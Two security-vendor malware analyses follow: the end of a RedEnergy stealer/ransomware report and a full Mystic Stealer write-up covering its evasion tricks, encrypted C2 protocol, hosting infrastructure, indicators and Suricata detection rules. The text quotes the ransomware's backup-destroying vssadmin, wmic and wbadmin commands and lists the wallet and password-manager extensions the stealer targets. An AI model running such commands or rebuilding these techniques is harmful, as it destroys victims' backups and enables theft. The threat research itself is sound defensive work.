a ransom note is dropped, indicating the user's files have been encrypted. Furthermore, the malware possesses stealer capabilities, allowing it to exfiltrate the user's data. Notably, the Config method, shown in Fig. 15 below, plays a crucial role in decrypting key information. It stores important strings related to the stealer functionality in a dictionary, depicted in Fig. 16, which is used to construct command lines for further operations. Fig 15. - Config decryption function Fig 16. - Malware showcasing stealer capabilities One such decrypted command line, shown in Figure 17, modifies the boot configuration to ignore failures and disables the automatic recovery options in Windows. The payload also drops specific files in the Temp directory, as seen in Figure 18, using it as a camouflage to conceal its malicious intent. Among the files dropped, C.bin serves as a payload, while a batch file contains commands to terminate processes and perform cleanup tasks associated with the payload. Figure 19 illustrates the instructions executed by the batch file. Fig 17. - Command line executed post decryption Fig 18. - Dropping supporting files in temp directory Fig 19. - Content inside batch file Furthermore, the payload is programmed to delete all volume shadow copies (VSS), the backup catalog, and shadow copies using the Windows Management Instrumentation Command-line (WMIC). The following command lines exemplify this process: C:\Windows\System32\cmd.exe /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete C:\Windows\System32\cmd.exe /C wbadmin delete catalog -quiet Additionally, the payload undergoes a three-stage process to gather antivirus (AV) information. Based on this information, it generates a string that it sends to the Command and Control (CnC) server as a User Agent, as depicted in Figure 20 below. During the analysis, it was observed that the AV detected is Windows Defender. STM, RSM, and RZ likely provide additional information related to Windows Defender. Lastly, the payload is responsible for dropping the final ransom note, read_it.txt, shown in Figure 21. This note is placed in all the folders where file encryption occurs, serving as a notification to the user that their files have been encrypted and demanding a ransom for their release. Fig 20. - User Agent built from malicious code storing AV information Fig 21. - Screenshot of the ransom note Zscaler Sandbox Coverage: Zscaler's security sandbox actively detects indicators for this threat, helping Zscaler customers defend against such attacks automatically, as shown in Fig. 22 below. Fig 22. - Zscaler sandbox report The following threat names are detected by Zscaler's multilayered cloud security platform for identifying malicious payloads: Win32.Downloader.RedEnergyStealer Conclusion In conclusion, the analysis of the malware campaign targeting the Philippines Industrial Machinery Manufacturing Company, along with other industries through reputable LinkedIn pages, has revealed a highly sophisticated and multi-stage attack. This campaign involves the distribution of malware disguised as browser updates, leading unsuspecting users to malicious websites where they unknowingly download the RedStealer executable. Notably, similar campaigns have been observed targeting companies in Brazil, highlighting the broad reach of this threat. The technical analysis of the malware has exposed its dual functionality as both a stealer and ransomware, representing a concerning evolution in the development of ransomware-like attacks. The malware employs obfuscation techniques and leverages HTTPS for command and control communication, making it challenging to detect and analyze. It operates through multiple stages, starting with the execution of the malicious executable masquerading as a browser update. Subsequently, it drops files, establishes persistence, and initiates outgoing requests to communicate with DNS servers and download additional payloads from remote locations. The discovery of suspicious FTP interactions raises further concerns about potential data exfiltration and unauthorized file uploads. The malware's ransomware modules are responsible for encrypting user data using the ".FACKOFF!" extension, rendering it inaccessible until a ransom is paid. Additionally, the alteration of the desktop.ini file enhances the malware's ability to evade detection and manipulate file system folder display settings. The final stage of the malware execution involves the deletion of shadow drive data and Windows backup plans, solidifying its ransomware characteristics. A batch file is executed, and a ransom note is dropped, demanding payment in exchange for decrypting the files. Furthermore, the malware exhibits stealer functionalities, enabling the theft of user data. Overall, this analysis highlights the evolving and highly sophisticated nature of cyber threats targeting various industries and organizations. It emphasizes the critical importance of implementing robust security measures, fostering user awareness, and ensuring prompt incident response to effectively mitigate the impact of such attacks. By remaining vigilant and implementing comprehensive cybersecurity strategies, businesses can better protect themselves against these malicious campaigns and safeguard their valuable data. Zscaler's ThreatLabz team remains dedicated to monitoring these threats and sharing their findings with the wider community. It is crucial for individuals and organizations to stay informed and take necessary precautions to defend against malware attacks. This includes regularly updating software, using strong passwords, and exercising caution when encountering suspicious emails or messages. By collectively addressing these challenges, we can enhance the security of our digital landscape and mitigate the risks associated with evolving cyber threats. MITRE ATT&CK TTP Mapping ID Tactic Technique T1036 Defense Evasion Masquerading T1185 Collection Browser Session Hijacking T1070.006 Defense Evasion Timestomp T1560 Collection Archive Collected Data T1027 Defense Evasion Obfuscated Files or Information T1562.001 Defense Evasion Disable or Modify Tools Indicators of Compromise (IOCs) Main Payload fb7883d3fd9347debf98122442c2a33e Downloading Domain www[.]igrejaatos2[.]org/assets/programs/setupbrowser[.]exe Dropper Payload cb533957f70b4a7ebb4e8b896b7b656c Connecting Domain 2no[.]co Final Payload 642dbe8b752b0dc735e9422d903e0e97 Wed, 21 Jun 2023 08:29:48 -0700 Shatak Jain https://www.zscaler.com/blogs/security-research/ransomware-redefined-redenergy-stealer-ransomware-attacks Mystic Stealer https://www.zscaler.com/blogs/security-research/mystic-stealer Key Points Mystic Stealer is a new information stealer that was first advertised in April 2023 Mystic steals credentials from nearly 40 web browsers and more than 70 browser extensions The malware also targets cryptocurrency wallets, Steam, and Telegram The code is heavily obfuscated making use of polymorphic string obfuscation, hash-based import resolution, and runtime calculation of constants Mystic implements a custom binary protocol that is encrypted with RC4 How do you know when something is in hot demand in the underground economy? The same way you do in the real world – the market becomes flooded. This is the story of information stealers today. "Stealers" are a kind of malware designed to run on an endpoint post-compromise, while their primary features center on the theft of user data. Oftentimes this is credential data, but it can be any data that may have financial value to an adversary; this includes paid online service accounts, cryptocurrency wallets, instant messenger, or email contacts lists, etc. Stealers also bridge the realms of criminal and nation-state focus. Many espionage-focused threat groups operate stealer families for pilfering information from target networks. Credential information can further increase access or penetration into an environment. Demand for compromised credentials to fuel criminal access to user accounts and target networks has resulted in a steady stream of newly developed information-stealing malware, keeping account markets stocked. With the amount of visibility we have at Zscaler, we are accustomed to encountering new threats on a daily basis. Enter Mystic Stealer, a fresh stealer lurking in the cyber sphere, noted for its data theft capabilities, obfuscation, and an encrypted binary protocol to enable it to stay under the radar and evade defenses. Together with our colleagues at InQuest, we present a deep dive technical analysis of the malware. We also share indicators from an in-depth analysis of the infrastructure footprint of deployed Mystic Stealer controllers and countermeasures for detecting the client in your environment. Note: the content of this blog is also hosted by InQuest here. The Data Heist Specialist Mystic Stealer focuses on data theft, exhibiting capabilities that allow it to pilfer a wide array of information. For starters, it is designed to collect computer information such as the system hostname, user name, and GUID. It also identifies a likely system user geolocation using the locale and keyboard layout. But it doesn't stop there. Key Mystic Stealer functions include its ability to extract data from web browsers and cryptocurrency wallets. Like many stealers, it collects auto-fill data, browsing history, arbitrary files, cookies, and information related to cryptocurrency wallets. Whether it's Bitcoin, DashCore, Exodus, or any other popular crypto wallet, Mystic Stealer has it covered. Mystic can also steal Telegram and Steam credentials. Interestingly, the stealer does not require the integration of third-party libraries for decrypting or decoding target credentials. Some leading stealer projects download DLL files post-install to implement functionality to extract credentials from files on the local system. Instead, Mystic Stealer collects and exfiltrates information from an infected system and then sends the data to the command & control (C2) server that handles parsing. This is a different approach from many leading stealers and is likely an alternate design to keep the size of the stealer binary smaller and the intention less clear to file analyzers. The Mystic Stealer crimeware is implemented in C for the client and Python for the control panel. Technical analysis Looking at the existing releases, it seems clear that the developer of Mystic Stealer is looking to produce a stealer on par with the current trends of the malware space while attempting to focus on anti-analysis and defense evasion. In terms of capabilities, it's a fairly standard set of functionality as seen with many stealers today. The malware collects system information which is packaged together for a check-in to the C2 server: Keyboard layout Locale CPU information Number of CPU processors Screen dimensions Computer name Username Running processes System architecture Operating system version Key data theft functionality includes the ability to capture history and auto-fill data, bookmarks, cookies, and stored credentials from nearly 40 different web browsers. In addition, it collects Steam and Telegram credentials as well as data related to installed cryptocurrency wallets. The malware targets more than 70 web browser extensions for cryptocurrency theft and uses the same functionality to target two-factor authentication (2FA) applications. The approach used by Mystic Stealer is similar to what was reported for Arkei Stealer. Further details on targeted browsers, cryptocurrency plugins, and 2FA apps are available in the appendix. Depending on a configuration provided by the C2 server, the malware will capture a screenshot of the desktop, which is exfiltrated to the C2 server. On May 20, the Mystic Stealer seller posted updates that include loader functionality and a persistence capability to forums as shown in Figure 1. Loader refers to the ability to download and execute additional malware payloads. This is reflective of a continuing trend where loaders allow one threat actor to support the distribution of affiliate malware being loaded on compromised devices. This is already a notable risk for many organizations due to the use of malware distribution networks and initial access brokers for the distribution of high-severity payloads like ransomware. It underscores the need to take preventative steps to ensure a security posture that reduces the risk of malware delivery and footholds early on in attack campaigns. Figure 1. MysticStealer forum post advertising v1.2 update with loader support As previously noted, there are several anti-analysis and evasion features additionally present in Mystic Stealer: Binary expiration. The trojan will terminate execution if the running build is older than a specified date. This is likely an execution guardrail that attempts to prevent anti-malware researchers and sandboxes that analyze the sample much later than when it was intended to be distributed or executed on victim machines. Figure 2 shows a Mystic Stealer sample that retrieves the current system time and compares the value to 1685318914 (0x6473ED02), which when converted from an epoch to a timestamp translates to Sun May 28 17:08:34 2023. Figure 2. Example Mystic Stealer date expiration feature Anti-virtualization. Mystic Stealer is configurable and some samples contain anti-VM features, detecting hypervisor runtime environments, and avoiding execution. This is helpful for avoiding execution in sandbox environments but it isn't always effective. Mystic uses the CPUID assembly instruction to detect virtual environments by inspecting the result for specific values that are indicative of virtualization software. In particular, the code checks for the manufacturer ID string (with a length of 12 bytes) for the following values: “XenVMMXenVMM” (Xen HVM) “VMwareVMware” (VMware) “Microsoft Hv” (Microsoft Hyper-V) “ KVMKVMKVM “ (KVM) “prl hyperv “ (Parallels) “VBoxVBoxVBox” (VirtualBox) This detection code is likely derived from Pafish. Windows APIs imported by hash. The stealer resolves and dynamically loads Windows APIs using a custom XOR based hashing algorithm represented in the Python snippet shown below: Note that the constant value (e.g., 0x240CE91) changes between Mystic samples. The malware walks the export tables for the following Windows DLLs and hashes each export name until a match is found: Kernel32.dll Advapi32.dll Kernel32.dll Gdiplus.dll Crypt32.dll User32.dll Ws2_32.dll Ole32.dll Gdi32.dll Ntdll.dll Dynamic constant calculation. Constant values in the code are obfuscated and dynamically calculated at runtime. For example, the API hashing algorithm shown above uses the constant 0x240CE91. However, this constant does not directly exist in the code. Instead, the value 0x240CEA6 is present and the code performs an XOR operation with the value 0x37 to produce the actual constant 0x240CE91 as shown in Figure 3. Figure 3. Example Mystic Stealer constant obfuscation technique Encrypted binary custom protocol. The client communicates with the C2 server using a custom protocol over TCP, which we discuss in more depth later. Polymorphic string obfuscation. We identified that the malware obfuscates strings using a library that is very similar to ADVobfuscator. The obfuscator generates code at compile time that builds strings on the stack, which are then decrypted at runtime. The obfuscation is polymorphic, and therefore, every sample will contain strings that are uniquely encrypted with simple mathematical operations such as addition, subtraction, and XOR. As a result, this technique may bypass static antivirus signatures and complicate malware reverse engineering. The Mystic Stealer seller refers to this obfuscation as a morpher that obfuscates builds with full undetectability (FUD) in sales threads. In one forum, the seller advertised that the project's morpher enabled the bypass of SmartScreen, which members identified as a dubious claim based on the operation of obfuscators and SmartScreen. Some forum users suspected the use of an open-source obfuscator. This ended up as a point of contention in the forum, lowering the perception and trust of the project with some users. C2 Communication Mystic Stealer communicates with its command and control (C2) servers using a custom binary protocol over TCP. The client sends a hello message containing a constant 4 byte value (0x946F19B5) to the C2 server. The C2 responds with 256 bytes of binary data that is used as an RC4 key for all subsequent communications. The client obtains the machine GUID from the registry value SOFTWARE\Microsoft\Cryptography\MachineGuid. The client encrypts the GUID value (along with this GUID length) using RC4 and sends it to the C2 server. The format of packets received from the server consists of a 4 byte big endian data size value followed by the data buffer. All data is encrypted with RC4. The C2 server responds back with a binary configuration of the actions to perform (steal credentials, take screenshots, steal cryptocurrency wallets, etc). This configuration is structured by 1’s and 0’s representing whether to enable or disable a feature, respectively. Data stolen from the infected system is labeled with specific binary tags that identify the type of information when it is sent to the C2 server. Unlike most stealers that will harvest data in full and then exfiltrate it to a C2 server with a single request, Mystic Stealer will collect various types of information and immediately send the data to a C2 server on-the-fly without storing or writing data to the disk, which may be detected by EDR/antivirus applications. The builder enables operators to specify up to four C2 endpoints. This is often used in crimeware to provide resiliency in case some servers are offline or blocklisted. In Mystic Stealer binaries, there are two arrays consisting of 4 DWORDs each that are encrypted with a modified XTEA-based algorithm. Thus, each sample can configure up to 4 IP addresses and ports. A Python-based implementation of the decryption algorithm for Mystic C2s is shown below: A few generations of the C2 servers seem to utilize a default port of 16287/tcp as seen in Figure 4 of the control panel builder dialog posted in a sales thread on underground forums. We have not observed file samples where this port was utilized for the configured C2 servers. The following C2 ports have been observed in identified samples, providing some clustering by build configurations: 15555/tcp 15556/tcp 13219/tcp Figure 4. Mystic Stealer control panel builder dialog C2 server footprint The stealer has been linked to multiple server-hosting IP addresses across a diverse geographic spectrum, including but not limited to registrations in France, Germany, Russia, the United States, and China. We list C2 servers identified by the hosting panel and C2 callbacks in the appendix. Large commercial hosting provider Hetzner (AS24940) accounts for nearly half of the hosts in addition to a number at OVH (AS16276). However, we also note a number of servers within the Latvian, Bulgarian and Russian hosting spheres. These include: Aeza Group Ltd (AS210644) GIR-AS (AS207713) Partner-AS / LetHost LLC (AS204603) Scalaxy B.V. (AS58061) Sukhoi Su-57 LLC (AS46308) WAICORE-TRANSIT (AS202973) Some of these providers stand out as potential contenders in the realm of bulletproof hosting, a term that sets off alarm bells in the cybersecurity world. Bulletproof hosting providers are entities that offer services with a particular appeal to individuals and groups engaged in nefarious activities, due to the providers' lax enforcement of legal norms and frequent protection and misdirection efforts that they take on behalf of criminal clientele. These services are often used to host malware, command and control servers, phishing campaigns, and other illicit digital operations. InQuest and Zscaler note a particular tendency of operators of credential stealers and other malware as a service (MaaS) systems to utilize protected backend hosting in the underground services space. This strategy often affords greater capabilities in blocklist avoidance as well as the reduced impact of takedown efforts and law enforcement reach. The "Grand" cluster One particular cluster of C2 servers sticks out when searching for hosted control panels. We have labeled this the "Grand" cluster based on WHOIS artifacts seen with some domains. We have included a list of these domains in the appendix. This group of domains is noted to share the following attributes: Cloudflare nameservers and CDN fronting Nameservers: meadow, jimmy Registration details: Domains registered mid-late 2022 Registrar: Public Domain Registry (PDR Ltd.) Registrant State/Province: Novosibirskaya oblast Registrant Country: RU Registrant: Grand (grand.bbs[@]yandex.ru) We note that while the majority of domains follow the above registration convention, a few outliers exist. For example, the domain alchemistwallet[.]io is registered with NetEarth One Inc., and one or more domains use different authoritative nameserver pairs (amit, jacqueline; rosalyn, stan). One or more domains were additionally registered in 2023. Several of these domains were mentioned in a note by FalconFeedsio. We believe that these domains were likely picked up from domain aftermarket resale, a tactic that can yield tangible value for an adversary. Already-registered domains carry established reputation attributes based on past usage, and we note that some of these domains carry reputation scores in various datasets indicating that they had relatively high rankings. For example, looking at gujaratstudy[.]in, we can see that the domain was most recently registered on 2022-10-07. Prior to this date, in 2021, the domain was registered and hosted by a previous owner, with DNS resolution observed through October of 2021. After the new DNS registration by the Grand persona, the domain was initially live via authoritative DNS in regway.com on 2023-10-08, and then migrated to Cloudflare DNS on 2023-10-11. This pattern is fairly consistent through domains in the Grand cluster. Another domain, bhandarapolice[.]org, appears to have previously been used for the official website of an Indian district police department. The domain's category labels on VirusTotal still reflect a positive reputation: government, public information, top-1M. A WHOIS record showing the registration details of a representative domain from this set is available in the appendix. The following domains and registration dates are samples of some domains found in this cluster: HANOIGARDEN[.]NET (2022-07-19) BHANDARAPOLICE[.]ORG (2022-07-20) ENGTECHJOURNAL[.]ORG (2022-07-20) MARISOLBLOOMS[.]COM (2022-07-20) WORDCZARMEDIA[.]COM (2022-08-07) COLORADOTRUCKIE[.]COM (2022-08-14) BABYPICTURESULTRASOUND[.]COM (2022-09-08) SACREDSPACE-SF[.]COM (2022-09-08) TEAMMSOLUTIONS[.]COM (2022-09-08) AFRICAHELP[.]ORG (2022-09-13) BAYSWATERHOLDING[.]COM (2022-09-20) ASHRAYAKRUTIFOUNDATION[.]ORG (2022-10-07) GUJARATSTUDY[.]IN (2022-10-07) The nature of the Grand cluster is not completely known at this time. Until recently, the domains have been live and serving Mystic Stealer control panels as shown in Figure 5 below. Figure 5. Example Mystic Stealer control panel domains cached in Google Search cache related to the Grand cluster While possible that they are simply C2 servers, we did not identify file samples associated with them. Recently, many of the sites appear to have gone offline with the upstream CDN reporting connection failures. It may be possible that the domains are part of a traffic distribution or frontend proxy and traffic service. Control panel The Mystic Stealer developers provide a web-based admin control panel as shown in Figure 6. Figure 6. Mystic Stealer web admin control panel login page Crimeware control panels allow operators to configure settings and access data collected from deployed malware and typically serve as the interface for criminal users to interact with the software. Common functions include statistics dashboards, malware builders, controlling options and features, credential log and data access, integration configurations, and more. The Mystic Stealer control panel operates out of band on a separate exposed service port than the malware utilizes for C2 communications. The developers utilize the Python Django web framework for the control panel. While not exclusive, the use of Python frameworks in crimeware development, typically dominated by PHP applications, is somewhat rare. As a historical example, another crimeware project implemented on Django was the Nice Pack exploit kit. The control panel is deployed on a customer's server. The commonly observed service port for deployed panels is 443/tcp. An earlier observed deployment in March 2023 utilized 8005/tcp. A number of community members have shared information identifying IP addresses of hosting panels. A number of these are also identified and archived on urlscan.io: 2023-03-22 https://urlscan.io/result/535841c6-ea4a-4e8c-85b7-e19bd5ad68e5 Control panel - hXXp://164.132.200[.]171:8005/login/ 2023-03-22 https://urlscan.io/result/7b2e16cb-9b66-4192-8b69-98fb89fa12ea/ Control panel - hXXp://164.132.200[.]171:8005/login/ 2023-05-02 https://urlscan.io/result/3fdaf5e7-a741-4cb8-8fa9-dedb00b1672b Control panel - hXXp://135.181.47[.]95/login/ 2023-05-02 https://urlscan.io/result/5d326ed9-3bcc-40f3-9fd2-2bdea6fd800f Control panel - hXXp://95.216.32[.]74/login/ 2023-05-04 https://urlscan.io/result/882d8d05-1523-41eb-892f-ba58d6656512/ Control panel - hXXp://185.252.179[.]18/ 2023-05-04 https://urlscan.io/result/cc6be796-ee37-4cc4-a37f-c9abb9bf17bc/ Django admin control panel - hXXp://185.252.179[.]18/admin/ 2023-05-15 https://urlscan.io/result/16f972cb-adb8-486a-9bff-3bebb673792e/ Control panel - hXXp://212.113.106[.]114/login/ 2023-05-25 https://urlscan.io/result/b5224ba6-1b50-42b0-b453-46204ebd1358/ Django admin control panel - hXXp://www.coloradotruckie[.]com/admin/ 2023-06-05 https://urlscan.io/result/016de1c6-cb24-4e3a-9ffa-5f8c21edf2c5/ Control panel - hXXp://213.142.147[.]235/login/ Tracking an installation of a control panel for the month of May, we've seen the version of the deployed panel change, likely reflecting upgrades by the customer: 2023-05-03: Mystic Stealer - Login 2023-05-08: Mystic Stealer v1.1 - Login 2023-05-31: Mystic Stealer v1.2 - Login We also note that the utilized page style is not exclusive to Mystic Stealer, appearing to be borrowed from or relating to a more broadly accessible template seen with other applications. The control panel UI kit appears to be based on Datta Able for Django. We do not believe there is any connection between this project and Mystic Stealer. It is likely that the Mystic Stealer developer is simply using the publicly available open-source UI kit. Presence on Underground Forums Mystic Stealer made its public debut on underground forums in late April 2023, several weeks after initial samples were known to surface. A seller named Mystic Stealer joined the WWH (WWH-Club) and BHF (Best Hack Forums, using the name MysticStealer) forums just a couple of days before posting, and, the stealer was listed for rent at a price of $150 per month. The seller later advertised Mystic Stealer on the XSS forum. Information-stealing trojans are a hot commodity in the underground economy, underscoring the level of emphasis the criminal community places on the collection of credentials to drive initial access into target user accounts and network environments. With its comprehensive data collection capabilities, it's no surprise that Mystic Stealer has caught the attention of members of these forums. According to observed advertisements, this seller also operates a Telegram account named @mysticstealer and the channel t[.]me/+ZjiasReCKmo2N2Rk (Mystic Stealer News). Conclusion As Mystic Stealer is a new player, it's hard to predict its trajectory. What's clear, however, is that it's a sophisticated threat with the potential for widespread damage. Over the past few weeks, we've observed a fascinating dance of panels appearing and disappearing. Yet, amidst this volatility, a number of these elusive entities have maintained their persistent presence. These patterns could be attributed to a range of factors: perhaps a surge in fresh sales, the relentless pursuit of takedowns, or the unpredictable behavior of the customers themselves. This was a joint research collaboration between Zscaler ThreatLabz and InQuest. Special thanks to all of those involved from InQuest Labs. Cloud sandbox In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Mystic Stealer at various levels with the following threat names: Win32.Trojan.Mystic.KV Appendix C2 server endpoints observed in recent bot configurations 194.169.175[.]123:13219 185.252.179[.]18:13219 142.132.201[.]228:13219 135.181.47[.]95:13219 94.130.164[.]47:13219 94.23.26[.]20:13219 91.121.118[.]80:13219 Targeted web browsers Opera K-Meleon Mozilla icecat Mozilla Firefox Comodo IceDragon 8pecxstudios Cyberfox NETGATE Technologies BlackHawk Torch Chedot Kometa liebao Comodo Iridium Vivaldi Orbitum K-Melon Chromium QIP Surf Maxthon3 Nichrome Chromodo Amigo 7Star CentBrowser Mail.Ru Atom Google Chrome Coowon uCozMedia Uran CocCoc Browser Microsoft Edge Sputnik Elements Browser 360Browser Epic Privacy Browser CatalinaGroup Citrio YandexBrowser MapleStudio ChromePlus Brave-Browser Fenrir Inc Sleipnir5 ChromiumViewer Targeted MFA and cryptocurrency wallet browser extensions Extension ID Browser Extension Name Ibnejdfjmmkpcnlpebklmnkoeoihofec TronLink fhbohimaelbohpjbbldcngcnapndodjp BinanceChain ffnbelfdoeiohenkjibnmadjiehjhajb Yoroi jbdaocneiiinmjbjlgalhcelgbejmnid Nifty Wallet afbcbjpbpfadlkmhmclhkeeodmamcflc Math Wallet hnfanknocfeofbddgcijnmhnfnkdnaad Coinbase Wallet hpglfhgfnhbgpjdenjgmdgoeiappafln Guarda blnieiiffboillknjnepogjhkgnoapac EQUAL Wallet cjelfplplebdjjenllpjcblmjkfcffne Jaxx Liberty fihkakfobkmkjojpchpfgcmhfjnmnfpi BitApp Wallet kncchdigobghenbbaddojjnnaogfppfj iWallet amkmjjmmflddogmhpjloimipbofnfjih Wombat nlbmnnijcnlegkjjpcfjclmcfggfefdm MEW CX nanjmdknhkinifnkgdcggcfnhdaammmj GuildWallet nkddgncdjgjfcddamfgcmfnlhccnimig Saturn Wallet fnjhmkhhmkbjkkabndcnnogagogbneec Ronin Wallet cphhlgmgameodnhkjdmkpanlelnlohao NeoLine nhnkbkgjikgcigadomkphalanndcapjk Clover Wallet kpfopkelmapcoipemfendmdcghnegimn Liquality Wallet aiifbnbfobpmeekipheeijimdpnlpgpp Terra Station dmkamcknogkgcdfhhbddcghachkejeap Keplr fhmfendgdocmcbmfikdcogofphimnkno Sollet cnmamaachppnkjgnildpdmkaakejnhae Auro Wallet jojhfeoedkpkglbfimdfabpdfjaoolaf Polymesh Wallet flpiciilemghbmfalicajoolhkkenfel ICONex nknhiehlklippafakaeklbeglecifhad Nabox Wallet hcflpincpppdclinealmandijcmnkbgn KHC ookjlbkiijinhpmnjffcofjonbfbgaoc Temple mnfifefkajgofkcjkemidiaecocnkjeh TezBox lodccjjbdhfakaekdiahmedfbieldgik DAppPlay Ijmpgkjfkbfhoebgogflfebnmejmfbml BitClip lkcjlnjfpbikmcmbachjpdbijejflpcm Steem Keychain nkbihfbeogaeaoehlefnkodbefgpgknn MetaMask bcopgchhojmggmffilplmbdicgaihlkp Hycon Lite Client klnaejjgbibmhlephnhpmaofohgkpgkd ZilPay aeachknmefphepccionboohckonoeemg Coin98 Wallet bhghoamapcdpbohphigoooaddinpkbai Authenticator dkdedlpgdmmkkfjabffeganieamfklkm Cyano Wallet nlgbhdfgdhgbiamfdfmbikcdghidoadd Byone onofpnbbkehpmmoabgpcpmigafmmnjhl Nash Extension cihmoadaighcejopammfbmddcmdekcje Leaf Wallet gaedmjdfmmahhbjefcbgaolhhanlaolb Authy 2FA oeljdldpnmdbchonielidgobddffflal EOS Authenticator ilgcnhelpchnceeipipijaljkblbcobl GAuth Authenticator imloifkgjagghnncjkhggdhalmcnfklk Trezor Password Manager infeboajgfhgbjpjbeppbkgnabfdkdaf OneKey cgeeodpfagjceefieflmdfphplkenlfk EVER Wallet pdadjkfkgcafgbceimcpbkalnfnepbnk KardiaChain Wallet acmacodkjbdgmoleebolmdjonilkdbch Rabby Wallet bfnaelmomeimhlpmgjnjophhpkkoljpa Phantom fhilaheimglignddkjgofkcbgekhenbh Oxygen - Atomic Crypto Wallet mgffkfbidihjpoaomajlbgchddlicgpn Pali Wallet hmeobnfnfcmdkdcmlblgagmfpfboieaf XDEFI Wallet lpfcbjknijpeeillifnkikgncikgfhdo Nami dngmlblcodfobpdpecaadgfbcggfjfnm MultiversX DeFi Wallet bhhhlbepdkbapadjdnnojkbgioiodbic Solflare Wallet jnkelfanjkeadonecabehalmbgpfodjm Goby jhgnbkkipaallpehbohjmkbjofjdmeid SteemKeychain jnlgamecbpmbajjfhmmmlhejkemejdma Braavos Smart Wallet kkpllkodjeloidieedojogacfhpaihoh Enkrypt: Ethereum, Polkadot & RSK Wallet mcohilncbfahbmgdjkbpemcciiolgcge OKX Wallet gjagmgiddbbciopjhllkdnddhcglnemk Hashpack kmhcihpebfmpgmihbkipmjlmmioameka Eternl phkbamefinggmakgklpkljjmgibohnba Pontem Aptos Wallet lpilbniiabackdjcionkobglmddfbcjo Keeper Wallet cjmkndjhnagcfbpiemnkdpomccnjblmj Finnie aijcbedoijmgnlmjeegjaglmepbmpkpi Leap Terra Wallet fdjamakpfbbddfjaooikfcpapjohcfmg Dashlane — Password Manager fooolghllnmhmmndgjiamiiodkpenpbb NordPass® Password Manager & Digital Vault pnlccmojcmeohlpggmfnbbiapkmbliob RoboForm Password Manager hdokiejnpimakedhajhdlcegeplioahd LastPass: Free Password Manager naepdomgkenhinolocfifgehidddafch Browserpass bmikpgodpkclnkgmnpphehdgcimmided MYKI Password Manager & Authenticator efbglgofoippbgcjepnhiblaibcnclgk Martian Wallet for Sui & Aptos Targeted cryptocurrency applications MyMonero Exodus Binance Raven Armory Dogecoin MultiBit Bitcoin DashCore Electrum Litecoin BitcoinGold WalletWasabi Atomic Guarda Electrum-LTC MyCrypto Bisq DeFi Blockchain Coinomi TokenPocket Network signatures The following Suricata signatures detect the initial C2 connection key exchange: alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"LOCAL Mystic Stealer C2 Client Hello Packet"; flow:established,to_server; flowbits:set, mystic_stealer_conn_init; flowbits:noalert; dsize:4; content:"|b5 19 6f 94|"; fast_pattern; reference:md5,df80b1e50cfebb0c4dbf5ac51c5d7254; classtype:trojan-activity; sid:9999990; rev:1; metadata:created_at 2023_06_02, malware_family Mystic Stealer, signature_severity Major, updated_at 2023_06_02;) alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"LOCAL Mystic Stealer C2 Session Key Response Packet"; flow:established,to_client; flowbits:isset, mystic_stealer_conn_init; dsize:256; reference:md5,df80b1e50cfebb0c4dbf5ac51c5d7254; classtype:trojan-activity; sid:9999991; rev:1; metadata:created_at 2023_06_02, malware_family Mystic Stealer, signature_severity Major, updated_at 2023_06_02;) Indicators of Compromise Mystic Stealer C2 servers Domains observed in the Grand cluster Grand cluster domain nameservers Grand domain cluster WHOIS sample Sample hashes Hash Notes 47439044a81b96be0bb34e544da881a393a30f0272616f52f54405b4bf288c7c Imphash: 8f2649698c183ba2b52e5e425852109d 1367.exe (2023-03-18) Communicates with 164.132.200[.]171:15555 Size ~234 KB Compiler: EP:Microsoft Visual C/C++ (2017 v.15.5-6) [EXE32] Early build 5c0987d0ee43f2d149a38fc7320d9ffd02542b2b71ac6b5ea5975f907f9b9bf8 Imphash: d6d4965d7fe2d90a52736f0db331f81a Mystic Stealer (2023-04-28) Communicates with 94.23.26[.]20:13219 Size ~211 KB Compiler: EP:Microsoft Visual C/C++ (2017 v.15.5-6) [EXE32] acba3311b319a60192be2e29aa8038c863a794be39603a21ee8ee4ccc3ebfca6 Imphash: d6d4965d7fe2d90a52736f0db331f81a update.exe (2023-05-01) Communicates with 185.252.179[.]18:13219 Size ~209 KB Compiler: EP:Microsoft Visual C/C++ (2017 v.15.5-6) [EXE32] 7c185697d3d3a544ca0cef987c27e46b20997c7ef69959c720a8d2e8a03cd5dc Imphash: d6d4965d7fe2d90a52736f0db331f81a update.exe (2023-05-02) Communicates with 185.252.179[.]18:13219 Size ~225 KB Compiler: EP:Microsoft Visual C/C++ (2017 v.15.5-6) [EXE32] 8592e7e7b89cac6bf4fd675f10cc9ba319abd4aa6eaa00fb0b1c42fb645d3410 Imphash: d6d4965d7fe2d90a52736f0db331f81a Mystic Stealer (2023-05-04) Communicates with 185.252.179[.]18:13219 Size ~208 KB Compiler: EP:Microsoft Visual C/C++ (2017 v.15.5-6) [EXE32] 45d29afc212f2d0be4e198759c3c152bb8d0730ba20d46764a08503eab0b454f Imphash: 9cd292d1fac1768b38a49bc6b288c67d Mystic Stealer (2023-05-07) Communicates with 135.181.47[.]95:13219 Size ~180 KB Compiler: EP:Microsoft Visual C/C++ (2017 v.15.5-6) [EXE32] 30fb52e4bd3c4866a7b6ccedcfa7a3ff25d73440ca022986a6781af669272639 Imphash: 9cd292d1fac1768b38a49bc6b288c67d qawsed.exe (2023-05-20) Communicates with 142.132.201[.]228:13219 Compiler: EP:Microsoft Visual C/C++ (2017 v.15.5-6) [EXE32] ce56e45ad63065bf16bf736dccb452c48327803b434e20d58a6fed04f1ce2da9 Imphash: 9cd292d1fac1768b38a49bc6b288c67d Mystic Stealer (2023-05-22) Communicates with 94.130.164[.]47:13219 Size ~187 KB Compiler: EP:Microsoft Visual C/C++ (2017 v.15.5-6) [EXE32 7ab8f9720c5f42b89f4b6feda21e7aa20334ba1230c3aef34b0e6481a3425681 Imphash: 1c8b7141d44e96dcc8c22d3bfdac433c 894d.exe (2023-05-23) Communicates with 91.121.118[.]80:13219 Size ~249 KB Compiler: EP:Microsoft Visual C/C++ (2008-2010) [EXE32] Sample is packed fc4aa58229b6b2b948325f6630fe640c2527345ecb0e675592885a5fa6d26f03 Imphash: baa93d47220682c04d92f7797d9224ce Mystic Stealer (2023-05-25) Communicates with 167.235.34[.]144:13219 Size ~1.79 MB Sample is packed References https://www.broadcom.com/support/security-center/protection-bulletin?#blt6304f750388759f4_en-us https://twitter.com/Yeti_Sec/status/1638537367567958016 https://twitter.com/sloppy_bear/status/1638713241198030850 https://twitter.com/threatintel/status/1638743922204876800 https://twitter.com/_montysecurity/status/1643164749599834112 